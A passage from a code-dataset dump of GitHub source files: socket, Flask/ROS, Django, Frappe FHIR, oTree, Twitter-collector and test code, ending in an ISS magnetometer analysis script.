True:\r\n c,addr=s.accept()\r\n print('Connected to',addr)\r\n c.send(bytes('Ace Attorney Orchestra The Best','utf-8'))\r\n c.close()","repo_name":"Debayan-creator/APP-SRM","sub_path":"week6/q1server.py","file_name":"q1server.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9807905730","text":"import unittest\nfrom pprint import pprint\nimport itertools\nimport functools\nimport math\nimport copy\nimport collections\n\n\ndef read_data(filename):\n with open(filename) as f:\n coords, folds = set(), list()\n for line in f:\n if ',' in line:\n x, y = line.strip().split(',')\n coords.add((int(x), int(y)))\n elif 'y=' in line:\n folds.append((0, int(line.strip().split('=')[-1])))\n elif 'x=' in line:\n folds.append((int(line.strip().split('=')[-1]), 0))\n return coords, folds\n\n\ndef fold(coords, axis):\n fx, fy = axis\n foldable = {e for e in filter(lambda v: v[0] >= fx and v[1] >= fy, coords)}\n transformed = {(x, 2*fy - y) if fy > 0 else (2*fx - x, y) for (x, y) in foldable}\n return coords - foldable | transformed\n\n\nclass MyTestCase(unittest.TestCase):\n def test_part1(self):\n coords, folds = read_data('input1.txt')\n print(len(fold(coords, folds[0])))\n pass\n\n def test_part2(self):\n coords, folds = read_data('input1.txt')\n for axis in folds:\n coords = fold(coords, axis)\n # visualize\n cols, rows = functools.reduce(lambda mx, e: (max(mx[0], e[0]), max(mx[1], e[1])), coords)\n display = [['.' for i in range(cols + 1)] for j in range(rows + 1)]\n for x, y in coords:\n display[y][x] = '#'\n for line in display:\n print(''.join(line))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"stratosnn/adventofcode","sub_path":"2021/13/2021task13.py","file_name":"2021task13.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38541070790","text":"from flask import Flask, render_template, request\nimport json\nfrom Analysis import slopecalc\nfrom Analysis import smoothness\nfrom Analysis import surface_plot\nfrom Analysis import test_points3d\nimport rospy\nfrom sensor_msgs.msg import PointCloud2, PointField\nfrom pylab import *\nimport ros_numpy\nglobal umin\nglobal umax\nglobal vmin\nglobal vmax\numin = 400\numax = 600\nvmin = 0\nvmax = 24\nimport thread\n\n\"\"\"start of flask application\"\"\"\napp = Flask(__name__)\n\n\n@app.route('//')\ndef static_page(page_name):\n return render_template('%s.html' % page_name)\n\n\n@app.route('/')\ndef home_page():\n return render_template('test.html')\n\n\n@app.route('/slope_val', methods=['GET'])\ndef send_slope_val():\n global slope_val\n print(\"sending slope val: {}\".format(slope_val))\n slope_val = {\"Slope\": slope_val}\n slopey = json.dumps(slope_val)\n return slopey\n\n\n@app.route('/smoothness_val', methods=['GET'])\ndef send_smoothness_val():\n global smoothness_val\n print(\"sending smoothness: {}\".format(smoothness_val))\n smoothness_val = {\"Smoothness\":smoothness_val}\n bumpy = json.dumps(smoothness_val)\n return bumpy\n\n\n@app.route('/range_layers', methods=['GET'])\ndef get_range_layer():\n global layers_to\n global layers_from\n global vmin\n global vmax\n layers_from = request.args.get('layers-from')\n layers_to = request.args.get('layers-to')\n vmin = int(layers_from)\n vmax = int(layers_to)\n # layers_selected = json.dumps(layers)\n print(\"my layer vals are: {} {}\".format(layers_from,layers_to))\n return \"ok\"\n\n\n@app.route('/range_points', methods=['GET'])\ndef get_range_point():\n global points_to\n global points_from\n global umin\n global umax\n points_from = request.args.get('points-from')\n points_to = request.args.get('points-to')\n umin = int(points_from)\n umax = int(points_to)\n print(\"my point vals are: {} {}\".format(points_from,points_to))\n return \"ok\"\n\n\n\"\"\"end of flask application\"\"\"\n\n\"\"\"start of ROS Subscriptions\"\"\"\n\n\ndef subscribePointCloud2FromSick():\n rospy.init_node('sick_mrs_6xxx', anonymous=True)\n thread.start_new_thread(flask_Thread, ())\n msg= rospy.Subscriber('/cloud', PointCloud2, processPointCloud2)\n rospy.spin()\n\n\ndef processPointCloud2(msg):\n global slope_val\n global smoothness_val\n global umin\n global umax\n global vmin\n global vmax\n\n # Convert PointCloud2 to np.Array\n cld = ros_numpy.numpify(msg, squeeze=False)\n\n xvals = cld[vmin:vmax, umin:umax]['x'].ravel()\n yvals = cld[vmin:vmax, umin:umax]['y'].ravel()\n zvals = cld[vmin:vmax, umin:umax]['z'].ravel()\n intsvals = cld[vmin:vmax, umin:umax]['intensity'].ravel()\n sensorpos = np.array([0, 0, 0])\n\n cld1 = cld[cld['intensity'] > 64]\n x0 = cld1['x'].ravel()\n y0 = cld1['y'].ravel()\n z0 = cld1['z'].ravel()\n\n test_points3d(x0, z0, -y0)\n\n start = 525\n #skiPathComparison(x, y, z, start, False)\n #idealSurfaceComparision(x, y, z, start, False)\n # Initialise data structure to publish subset data\n data = np.zeros(np.shape(xvals), dtype=[\n ('x', np.float32),\n ('y', np.float32),\n ('z', np.float32),\n ('intensity', np.float32)\n ])\n\n data['x'] = xvals\n data['y'] = yvals\n data['z'] = zvals\n data['intensity'] = intsvals\n slope_val = slopecalc(cld[vmin:vmax, umin:umax]['x'], cld[vmin:vmax, umin:umax]['y'], sensorpos)\n smoothness_val = smoothness(cld['y'])\n smoothness_val = str(smoothness_val)\n surface_plot(x0, y0, z0, xvals, yvals, zvals)\n\n\ndef publishAsPointcloud2(data, topic):\n msg = ros_numpy.msgify(PointCloud2, data)\n msg.header.frame_id = 'laser'\n pub = rospy.Publisher(topic, PointCloud2, queue_size=10)\n pub.publish(msg)\n\n\ndef skiPathComparison(x, y, z, start, update):\n ncols=920\n x = np.reshape(x, (-1, ncols))\n y = np.reshape(y, (-1, ncols))\n z = np.reshape(z, (-1, ncols))\n\n x= x[:,start : start + 100]\n y= y[:,start : start + 100]\n z= z[:,start : start + 100]\n\n x=x.T\n y=y.T\n z=z.T\n\n xn=tile(array(x[:,0]), (24,1))\n xn=xn.T\n\n if not update:\n x1 = np.zeros((100,24))\n\n if update:\n x1 = xn\n\n fig, ax = plt.subplots()\n intersection_matrix = x - x1\n cs=ax.matshow(intersection_matrix, cmap=plt.cm.get_cmap('Greys_r',10))\n ax.set_aspect(aspect='auto', adjustable='box')\n ax.axis('off')\n cbar = fig.colorbar(cs)\n cbar.set_label('surface disturbance (m)')\n plt.savefig(\"track.png\")\n plt.close(fig)\n\n\ndef idealSurfaceComparision(x, y, z, start, update):\n ncols=920\n x = np.reshape(x, (-1, ncols))\n y = np.reshape(y, (-1, ncols))\n z = np.reshape(z, (-1, ncols))\n\n x= x[:,start : start + 100]\n y= y[:,start : start + 100]\n z= z[:,start : start + 100]\n\n x=x.T\n y=y.T\n z=z.T\n\n x_ = np.zeros(shape=x.shape)\n for i in range(24):\n x_[:,i]=np.linspace(x[0,i], x[-1,i], num=100)\n\n if not update:\n x1 = np.zeros((100,24))\n\n if update:\n x1 = x_\n\n fig1, ax1 = plt.subplots()\n intersection_matrix = x - x1\n cs1 = ax1.matshow(intersection_matrix, cmap=plt.cm.get_cmap('Greys_r',10))\n ax1.set_aspect(aspect='auto', adjustable='box')\n cbar1 = fig1.colorbar(cs1)\n ax1.axis('off')\n cbar1.set_label('surface depth (m)')\n plt.savefig(\"surface.png\")\n plt.close(fig1)\n\n\ndef flask_Thread():\n app.run(\"0.0.0.0\", port=4444)\n\n\nif __name__ == '__main__':\n subscribePointCloud2FromSick()\n\n","repo_name":"nicolastrimborn/sick_competition","sub_path":"Server/merged_BE.py","file_name":"merged_BE.py","file_ext":"py","file_size_in_byte":5459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"8054749247","text":"#Using AllSide JSON data return the rating for an inputed website\n\nimport json\n\nwith open(\"allsides_data.json\") as a:\n\tnews = json.loads(a.read())\n\nfor website in news['allside']:\n\n\t#if \"brucebraley\" in website['url']:\n\t\t#print(website['bias_rating'])\n\t\t\n\tprint(website['url'] + \". Rating:\" + website['bias_rating'])","repo_name":"balswyan/senior-capstone-spring-2019","sub_path":"Scripts/AllSide Return Ratings/GetRatings.py","file_name":"GetRatings.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74575601149","text":"\nimport basevcstest\nimport numpy\nimport MV2\n\n\nclass TestVCSFonts(basevcstest.VCSBaseTest):\n def test_project_font(self):\n bot = self.x.gettemplate(\"bot_of2\")\n top = self.x.gettemplate(\"top_of2\")\n gm = self.x.createisoline()\n gm.datawc_x1 = -180\n gm.datawc_x2 = 180\n gm.datawc_y1 = -90\n gm.datawc_y2 = 90\n self.x.plot(self.clt(\"clt\", slice(0,1)),gm,top)\n proj = \"polar\"\n gm.projection = proj\n self.x.plot(self.clt(\"clt\",slice(0,1),longitude=(-180,181)),gm,bot)\n txt = self.x.createtext()\n txt.string = \"Non proj\"\n txt.worldcoordinate = [-180,180,-90,90]\n txt.x = -30\n txt.y = 80\n txt.color=\"blue\"\n txt.height = 15\n txt.halign = \"center\"\n txt.viewport = top.data.x1, top.data.x2, top.data.y1, top.data.y2\n self.x.plot(txt)\n txt.projection = proj\n txt.color = \"red\"\n txt.string = \"PROJECTED\"\n txt.viewport = bot.data.x1, bot.data.x2, bot.data.y1, bot.data.y2\n self.x.plot(txt)\n fnm = \"test_vcs_font_projection.png\"\n self.checkImage(fnm)\n\n\n","repo_name":"CDAT/vcs","sub_path":"tests/test_vcs_font_projection.py","file_name":"test_vcs_font_projection.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"} +{"seq_id":"98235056","text":"message = b'\\xbc\\xd3\\xd3\\xcd'\n\n# 가능한 모든 코덱을 확인\nwith open('7.7(Final)/codecs.txt', 'r') as f:\n codecs_list = f.read().replace('\\n','').replace(',','').split()\nprint(codecs_list)\n\n# for codec in codecs_list:\n# try:\n# print(message.decode(codec), codec)\n# except:\n# pass\n\n","repo_name":"minsuhaha/Oreumi","sub_path":"Python/7.7(FInal)/encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26908464215","text":"\"\"\"CASCADE for notes\n\nRevision ID: a67c7679a519\nRevises: 9fdf4763f6df\nCreate Date: 2023-07-24 14:00:39.195871\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a67c7679a519'\ndown_revision = '9fdf4763f6df'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('user_id', 'note', type_='foreignkey')\n op.create_foreign_key(None, 'note', 'user', ['user_id'], ['id'], onupdate='CASCADE', ondelete='CASCADE')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'note', type_='foreignkey')\n op.create_foreign_key('user_id', 'note', 'user', ['user_id'], ['id'])\n # ### end Alembic commands ###\n","repo_name":"ktlog/journal-api","sub_path":"migrations/versions/a67c7679a519_cascade_for_notes.py","file_name":"a67c7679a519_cascade_for_notes.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30561653849","text":"import sys\nimport tweepy\nimport config\nimport pandas as pd\n\nauth = tweepy.OAuthHandler(config.api_key, config.api_secret_key)\nauth.set_access_token(config.access_token, config.access_token_secret)\napi = tweepy.API(auth)\ndf = pd.DataFrame(columns=['tweet_id', 'text', 'likes', 'retweets'])\n\nclass CustomStreamListener(tweepy.StreamListener):\n def on_status(self, status):\n df.loc[len(df)] = [\n status.id,\n status.text,\n status.favorite_count,\n status.retweet_count\n ]\n \n print(f'number of fetched tweets: {len(df)} ', end='\\r')\n sys.stdout.flush()\n\n\n def on_error(self, status_code):\n print >> sys.stderr, 'Encountered error with status code:', status_code\n return True # Don't kill the stream\n\n def on_timeout(self):\n print >> sys.stderr, 'Timeout...'\n return True # Don't kill the stream\n\n\n\nif __name__ == '__main__':\n print('Press CTR+C to exit ...')\n try:\n streamingAPI = tweepy.streaming.Stream(auth, CustomStreamListener())\n streamingAPI.filter(track=['iphone12', 'iphone 12'], languages=[\"en\"])\n except KeyboardInterrupt:\n print(len(df))\n df.to_csv('tweets.csv', sep=';')\n sys.exit(0)","repo_name":"kkiani/twitter-simple-analysis","sub_path":"twitter-data-collector.py","file_name":"twitter-data-collector.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11215569118","text":"# -*- coding: UTF-8 -*-\n\n\"\"\"PFE Component Tests - Routes.\n\n* TC-44122 - Routes PATCH:\n\n Verify that validation message is displayed if user try to update with wrong ID using request PATCH \"/routes\".\n\n\nEquivalent test CURL command:\n\n curl -H \"Host: \" -H \"Authorization: Bearer \"\n -X PATCH -d @ -H \"Content-Type: application/json\"\n \":///routes/BSRoute1BS\"\n\nSame, with test data:\n\n curl -H \"Host: \" -H \"Authorization: Bearer \"\n -X PATCH -d @ -H \"Content-Type: application/json\"\n \":///routes/BSRoute1BS\"\n\nJSON data sent to PathFinder in this test:\n\n {'configAdminCanEdit': True,\n 'configurations': [{'host': '172.30.2.149', 'id': 'default'},\n {'host': 'qa_test', 'id': 'Qa_test'}],\n 'creationDate': '2016-02-24T10:51:17Z',\n 'hops': [{'hops': [],\n 'member': {'id': '172.30.3.24', 'name': 'Windows Edge 172.30.3.24'},\n 'memberRoles': ['EDGE'],\n 'memberType': 'EDGE_DEVICE'}],\n 'modificationDate': '2016-02-24T10:51:17Z',\n 'name': 'BSRoute11New',\n 'visibleInAllConfigurations': True}\n\n\"\"\"\n\nimport pytest\n\nfrom qe_common import *\n\nlogger = init_logger()\n\n\n@pytest.mark.components\n@pytest.allure.story('Routes')\n@pytest.allure.feature('PATCH')\nclass Test_PFE_Components(object):\n \"\"\"PFE Routes test cases.\"\"\"\n\n @pytest.allure.link('https://jira.qumu.com/browse/TC-44122')\n @pytest.mark.Routes\n @pytest.mark.PATCH\n def test_TC_44122_PATCH_Routes_Verify_Correct_Message_Displayed_If_Wrong_Id_Entered(self, context):\n \"\"\"TC-44122 - Routes-PATCH\n Verify that validation message is displayed if user try to update with wrong ID using request PATCH \"/routes\".\"\"\"\n # Define a test step\n with pytest.allure.step(\"\"\"First create route using request POST \"/routes\".\"\"\"):\n\n # Test case configuration\n routeDetails = context.sc.RouteDetails(\n configAdminCanEdit=True,\n configurations=[],\n hops=[],\n id='route20',\n name='Route20',\n visibleInAllConfigurations=True)\n\n # createHop the Routes.\n # The `check` call validates return code\n # and some of the swagger schema.\n # Most schema checks are disabled.\n\n response1 = check(\n context.cl.Routes.createRoute(\n body=routeDetails\n )\n )\n\n # Define a test step\n with pytest.allure.step(\"\"\"Then verify that validation message is displayed if user try to update with wrong ID using request PATCH \"/routes\".\"\"\"):\n\n # Test case configuration\n routeDetails = context.sc.RouteDetails(\n configAdminCanEdit=True,\n configurations=[],\n hops=[],\n name='Route20 updated',\n visibleInAllConfigurations=True)\n\n # prepare the request, so we can modify it\n request = context.cl.Routes.updateEntity(\n body=routeDetails,\n id='route20Wrong'\n )\n\n\n ### Invalid JSON Error injection example\n ### Errors that result in valid JSON can be configured above.\n ### Otherwise, uncomment the code below (request.future....)\n\n # Get the generated payload and corrupt the metric\n # request.future.request.data = request.future.request.data.replace(\n # '\"metric\": 1,', '\"metric\":,'\n # )\n\n # createHop the Routes, and check we got the error we expect\n try:\n client, response = check(\n request,\n quiet=True, returnResponse=True\n )\n except (HTTPBadRequest, HTTPForbidden, HTTPNotFound, HTTPConflict) as e: # 400, 403, 404 error\n get_error_message(e) | expect.any(\n should.start_with('Delivery Service entity not found'),\n should.start_with('The ID value you have specified is in use or is invalid.')\n )\n else:\n raise Exception(\n \"Expected error message, got {} status code instead.\".format(\n response.status_code))\n","repo_name":"muktabehera/QE","sub_path":"functional/Components/Routes/Routes_PATCH/test_TC_44122_Routes_PATCH_Verify_Correct_Message_Displayed_If_Wrong_Id_Entered.py","file_name":"test_TC_44122_Routes_PATCH_Verify_Correct_Message_Displayed_If_Wrong_Id_Entered.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23312555681","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework import status\n\n\nclass TestUFView(TestCase):\n url = reverse('uf-list')\n\n def test_endpoint_200_database_without_data(self):\n response = self.client.get(self.url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data), 0)\n\n def test_endpoint_200_database_with_data(self):\n url = self.url + '01-01-2022/'\n\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n response = self.client.get(self.url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data), 365)\n\n def test_endpoint_404(self):\n wrong_url = self.url + '//1'\n\n response = self.client.get(wrong_url)\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n\nclass TestUFDetailAPIView(TestCase):\n url = reverse('uf-list')\n\n def test_endpoint_200(self):\n url = self.url + '01-01-2023/'\n\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_valid_date(self):\n url = self.url + '21-04-2023/'\n\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(type(response.data[0]['value']), float)\n\n def test_invalid_date_before_2013(self):\n url = self.url + '21-04-2012/'\n error_string = '[\"Year must be greater than or equal to 2013\"]'\n\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertEqual(response.content.decode('utf-8'), error_string)\n\n def test_invalid_date_after_2023(self):\n url = self.url + '21-04-2024/'\n error_string = ('[\"The UF value is not available for the specified '\n 'date. Please check again on the 9th day of the '\n 'month when the value could be set.\"]')\n\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertEqual(response.content.decode('utf-8'), error_string)\n\n def test_invalid_date_format(self):\n url1 = self.url + '21-14-2024/'\n url2 = self.url + 'wrongdate/'\n error_string = (\n '[\"Date must be in the format DD-MM-YYYY or the specific date for '\n 'the month dont exist.\"]')\n\n response = self.client.get(url1)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertEqual(response.content.decode('utf-8'), error_string)\n\n response = self.client.get(url2)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n self.assertEqual(response.content.decode('utf-8'), error_string)\n","repo_name":"Jorgearredondoe/desafio-fapro","sub_path":"UFTracker/UFTrack/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"28312625385","text":"from __future__ import unicode_literals\nimport frappe, requests, os, json\nfrom frappe.model.document import Document\nfrom lafia.utils.fhir_utils import get_identifier, get_code, get_code_list, get_reference, get_optional_doctype, get_reference_list, get_encounter, period\nfrom dotenv import load_dotenv\nfrom frappe import whitelist\nfrom lafia.api.services.brokers.producer import producer\nfrom lafia.api.users.users import sign_up\nfrom frappe.utils import get_site_name\n\nload_dotenv()\n\nlafia_base_url = os.environ.get(\"LAFIA_SERVER_URL\")\n\nclass Procedure(Document):\n\n\tdef fhir_object(self):\n\t\tfhir_schema = {\n\t\t\t\"resourceType\": \"Procedure\",\n\t\t\t\"identifier\": get_identifier(self.identifier) if self.get(\"identifier\") else \"\",\n\t\t\t\"basedOn\": [get_reference(self.get(\"basedon_type\"), self.get(\"basedon\"))],\n\t\t\t\"partOf\": [get_reference(self.get(\"partof_type\"), self.get(\"partof\"))],\n\t\t\t\"statusReason\": {\n\t\t\t\t\"coding\": [get_code(\"Procedure Not Performed Reason Code\", self.get(\"statusreason\"))]\n\t\t\t\t} if self.get(\"statusreason\") else \"\",\n\t\t\t\"status\": self.get(\"status\"),\n\t\t\t\"category\": {\n\t\t\t\t\"coding\": [get_code(\"Procedure Category Code\", self.get(\"category\"))]\n\t\t\t\t} if self.get(\"category\") else \"\",\n\t\t\t\"code\": {\n\t\t\t\t\t\"coding\": [get_code(\"Procedure Code\", self.get(\"code\"))]\n\t\t\t\t} if self.get(\"code\") else \"\",\n\t\t\t\"subject\": get_reference(\"Patient\", self.get(\"subject\")),\n\t\t\t\"encounter\": get_encounter(self.encounter) if self.encounter else \"\",\n\t\t\t# \"performedDateTime\": self.performeddatetime.replace(\" \", \"T\") if self.get(\"performeddatetime\") else \"\",\n\t\t\t\"performedPeriod\": period(self.start,self.stop),\n\t\t\t# \"performedString\": self.get(\"performedstring\"),\n\t\t\t\"asserter\": get_optional_doctype(self.asserter_type, self.asserter),\n\t\t\t\"recorder\": get_optional_doctype(self.recorder_type, self.recorder),\n\t\t\t\"performer\": self.get_performer(self.performer) if self.get(\"performer\") else \"\",\n\t\t\t\"location\": get_reference(\"Location FHIR\", self.location) if self.location else \"\",\n\t\t\t\"reasonCode\": get_code_list(\"Procedure Reason Code Multi\", self.get(\"reasoncode\"), \"procedure_reason_code\") if self.get(\"reasoncode\") else \"\",\n\t\t\t\"bodySite\": get_code_list(\"Body Site Multi\", self.get(\"bodysite\"), \"body_site_code\") if self.get(\"bodysite\") else \"\",\n\t\t\t\"reasonReference\": [get_optional_doctype(self.reason_reference_type, self.reason_reference)] if self.get(\"reason_reference\") else \"\",\n\t\t\t\"outcome\": {\n\t\t\t\t\"coding\": [get_code(\"Procedure Outcome Code\", self.get(\"outcome\"))]\n\t\t\t\t} if self.get(\"outcome\") else \"\",\n\t\t\t\"report\": [get_optional_doctype(report.get(\"report_type\"), report.get(\"report\")) for report in self.get(\"report\")] if self.get(\"report\") else \"\",\n\t\t\t\"complication\": get_code_list(\"Condition Code Multi\", self.get(\"condition\"), \"condition\") if self.get(\"condition\") else \"\",\n\t\t\t\"complicationDetail\": get_reference_list(\"Condition\", self.get(\"complicationdetail\"), \"condition\") if self.get(\"complicationdetail\") else \"\",\n\t\t\t\"followUp\": get_code_list(\"Procedure Followup Code Multi\", self.get(\"followup\"), \"procedure_followup\") if self.get(\"followup\") else \"\",\n\t\t\t\"note\": [\n\t\t\t\t{\n\t\t\t\t\t\"text\": single_note.get(\"text\")\n\t\t\t\t} for single_note in self.get(\"note\")\n\t\t\t] if self.get(\"note\") else \"\",\n\t\t\t\"usedReference\": [get_optional_doctype(reference.get(\"reference_type\"), reference.get(\"reference\")) for reference in self.get(\"usedreference\")] if self.get(\"usedreference\") else \"\"\n\t\t\t# \"class\": self.get_class(self.get(\"class\")),\n\n\t\t\t# \"period\": get_period(self.period)\n\t\t}\n\t\treturn fhir_schema\n\t\n\tdef before_insert(self):\n\t\tif not self.fhir_serverid:\n\t\t\tfhir_schema = self.fhir_object()\n\t\t\tresponse = requests.post(\n\t\t\t\t\tlafia_base_url + '/fhir/Procedure', json=fhir_schema)\n\t\t\tif not response.status_code == 201:\n\t\t\t\t\tprint(response.__dict__)\n\t\t\t\t\tfrappe.throw(\"An error occured\")\n\t\t\telse:\n\t\t\t\t\tprocedure_fhir_object = response.json()\n\t\t\t\t\tself.fhir_serverid = procedure_fhir_object.get(\"id\")\n\n\tdef before_save(self):\n\t\tfhir_schema = self.fhir_object()\n\t\t\n\t\tresponse = requests.put(\n\t\t\t\t'{0}/fhir/Procedure/{1}'.format(lafia_base_url, self.fhir_serverid), json=fhir_schema)\n\t\tif not response.status_code == 200:\n\t\t\tprint(response.__dict__)\n\t\t\tfrappe.throw(\"An error occured\")\n\n\n\n\tdef after_insert(self):\n\t\tevent_body = {\n\t\t\t\"resource_type\": \"Procedure\",\n \t\"resource_id\": self.fhir_serverid,\n\t\t\t\"data\": {\n\t\t\t\t\"name\": self.name,\n\t\t\t\t\"provider\": get_site_name(frappe.request.host if frappe.request else 'localhost'),\n\t\t\t\t\"id\": self.fhir_serverid\n\t\t\t}\n\t\t}\n\t\tproducer('{0}-createResources'.format(os.environ.get('SERVER_ENV')), json.dumps(event_body))\n\n\n\tdef get_performer(self, performers):\n\t\treturn [\n\t\t\t{\n\t\t\t\t\"function\":{\n\t\t\t\t\t\"coding\": [get_code(\"Procedure Performer Code\", performer.get(\"function\"))]\n\t\t\t\t\t} if performer.get(\"function\") else \"\",\n\t\t\t\t\"actor\": get_reference(performer.get(\"actor_type\"), performer.get(\"actor\")),\n\t\t\t\t\"onBehalfOf\": get_reference(\"Organization\", performer.get(\"on_behalf_of\"))\n\t\t\t} for performer in performers\n\t\t]\n\t\n\n# def get_report(self, reports):\n# \treturn \n","repo_name":"Behordeun/erpnext-healthcare-module","sub_path":"lafia/lafiaio/doctype/procedure/procedure.py","file_name":"procedure.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5566259833","text":"from . import models\nfrom ._builtin import Page, WaitPage\nfrom otree.api import Currency as c, currency_range\nfrom .models import Constants, levenshtein, distance_and_ok\nfrom django.conf import settings\n\n\nclass Transcribe(Page):\n form_model = models.Player\n form_fields = ['transcribed_text']\n\n def vars_for_template(self):\n\n return {\n 'image_path': 'real_effort/paragraphs/{}.png'.format(\n self.round_number),\n 'reference_text': Constants.reference_texts[self.round_number - 1],\n 'debug': settings.DEBUG,\n 'required_accuracy': 100 * (1 - Constants.allowed_error_rates[self.round_number - 1])\n }\n\n def transcribed_text_error_message(self, transcribed_text):\n reference_text = Constants.reference_texts[self.round_number - 1]\n allowed_error_rate = Constants.allowed_error_rates[\n self.round_number - 1]\n distance, ok = distance_and_ok(transcribed_text, reference_text,\n allowed_error_rate)\n if ok:\n self.player.levenshtein_distance = distance\n else:\n if allowed_error_rate == 0:\n return \"The transcription should be exactly the same as on the image.\"\n else:\n return \"This transcription appears to contain too many errors.\"\n\n def before_next_page(self):\n self.player.payoff = 0\n\n\nclass Results(Page):\n def is_displayed(self):\n return self.round_number == Constants.num_rounds\n\n def vars_for_template(self):\n table_rows = []\n for prev_player in self.player.in_all_rounds():\n row = {\n 'round_number': prev_player.round_number,\n 'reference_text_length': len(Constants.reference_texts[prev_player.round_number - 1]),\n 'transcribed_text_length': len(prev_player.transcribed_text),\n 'distance': prev_player.levenshtein_distance,\n }\n table_rows.append(row)\n\n return {'table_rows': table_rows}\n\n\npage_sequence = [Transcribe, Results]\n","repo_name":"z0nam/oTreeBasic","sub_path":"_sandbox/foo/real_effort/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"21267886679","text":"\"\"\"\nThis expirment tests whether or not the magnetic field affects the objects in \nthe LEO by correlating the resultant intensity of the magnetic field with the \naccelertaion and angular velocity of the ISS\n\"\"\"\n\n\n\"\"\" Importing the libraries and the modules \"\"\"\nfrom datetime import datetime,timedelta\nimport magn\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport noise_filtering\nimport plot\n\n\"\"\"_______________________ Part 1: Analyzing the IMU sensor data _______________________\"\"\"\n\n\n''' 1-Importing the IMU sensor data '''\n\n#Imports the whole data from the csv using pandas library\ndata = pd.read_csv('data01.csv')\n\n#Takes the time, gyroscope, magnometer, and accelerometer X, Y, and Z readings from the dataset:\ntime = data.iloc[:,1].values\ngyroX = data.iloc[:,7].values\ngyroY = data.iloc[:,8].values\ngyroZ = data.iloc[:,9].values\nmagnX = data.iloc[:,10].values\nmagnY = data.iloc[:,11].values\nmagnZ = data.iloc[:,12].values\nmagn_resultant = magn.get_resultant(magnX,magnY,magnZ)\naccX = data.iloc[:,13].values\naccY = data.iloc[:,14].values\naccZ = data.iloc[:,15].values\nacc_resultant = magn.get_resultant(accX,accY,accZ)\n\n\n\n''' 2-Preprocessing the data by applying noise filteration '''\n\ngyro_filtered_matrix = noise_filtering.noise_filtering(gyroX,gyroY,gyroZ,sensitivity = (0.0175), frequency = 476, rms = (3.2 * 10**-3) )\n #Senstivity and Frequency are according to https://www.st.com/resource/en/datasheet/lsm9ds1.pdf\nmagn_filtered_matrix = noise_filtering.noise_filtering(magnX,magnY,magnZ,sensitivity = 0.043, frequency = 20, rms = (3.2 * 10**-3) )\n #Senstivity and Frequency are according to https://www.st.com/resource/en/datasheet/lsm9ds1.pdf\n #RMS Noise assumtion according to https://www.st.com/resource/en/datasheet/lis3mdl.pdf which is a similar build\nacc_filtered_matrix = noise_filtering.noise_filtering(accX,accY,accZ,sensitivity = (0.000244*9.81), frequency = 10, rms = (3.2 * 10**-3) )\n #Senstivity and Frequency are according to https://www.st.com/resource/en/datasheet/lsm9ds1.pdf\n\ngyroX_filtered = gyro_filtered_matrix[:,0]\ngyroY_filtered = gyro_filtered_matrix[:,1]\ngyroZ_filtered = gyro_filtered_matrix[:,2]\n\nmagn_filtered_resultant = magn.get_resultant(magn_filtered_matrix[:,0],magn_filtered_matrix[:,1],magn_filtered_matrix[:,2])\n\nacc_filtered_resultant = magn.get_resultant(acc_filtered_matrix[:,0],acc_filtered_matrix[:,1],acc_filtered_matrix[:,2])\n\n''' 3- Calculating the resultant magnitude, the standard deviation, the mean and the autocorrelation of the points\nfor the filtered and unfiltered magnetic field, acceleration, and angular velocity'''\n\ngyroX_sd = magn.get_sd(gyroX_filtered)\ngyroY_sd = magn.get_sd(gyroY_filtered)\ngyroZ_sd = magn.get_sd(gyroZ_filtered)\ngyro_sd_mean = magn.get_mean_3(gyroX_sd, gyroY_sd, 